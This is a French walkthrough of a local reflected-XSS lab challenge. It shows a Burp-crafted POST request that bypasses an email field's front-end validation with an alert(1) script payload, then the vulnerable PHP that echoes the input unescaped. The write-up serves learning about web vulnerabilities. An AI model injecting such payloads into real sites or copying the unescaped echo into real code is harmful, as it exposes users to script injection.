xss1

Exploitation

Le premier challenge propose de renseigner son adresse email grâce à formulaire HTML :

Le champ est de type email et possède donc une validation front :

<input type="email" class="form-control" id="user_email" name="user_email" placeholder="email@site.com" required>

Pour injecter ma payload il me faudra contourner cette protection, ici en passant par Burp :

POST /xss1/ HTTP/1.1
Host: localhost:9003
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Origin: http://localhost:9003
Connection: close
Referer: http://localhost:9003/xss1/

user_email=<script>alert(1)</script>&submit=Envoyer

L'injection fonctionne et la boite de dialogue s'affiche :

Analyse du code source

L'analyse est ici plutôt simple, car le code PHP ne possède aucune protection et ne fait qu'afficher le contenu de la variable $_POST['user_email'] via la directive echo :

<?php
  if (isset ($_POST['submit']) && isset ($_POST['user_email'])) {
    $email = $_POST['user_email'];
  }
?>

<?php if (isset ($email) && !empty ($email)): ?>
  <div class="row">
    <p style="color:red;" class="well"><strong></strong><?php echo $email; ?> is not registered.</p>
  </div>
<?php endif; ?>

Dernière mise à jour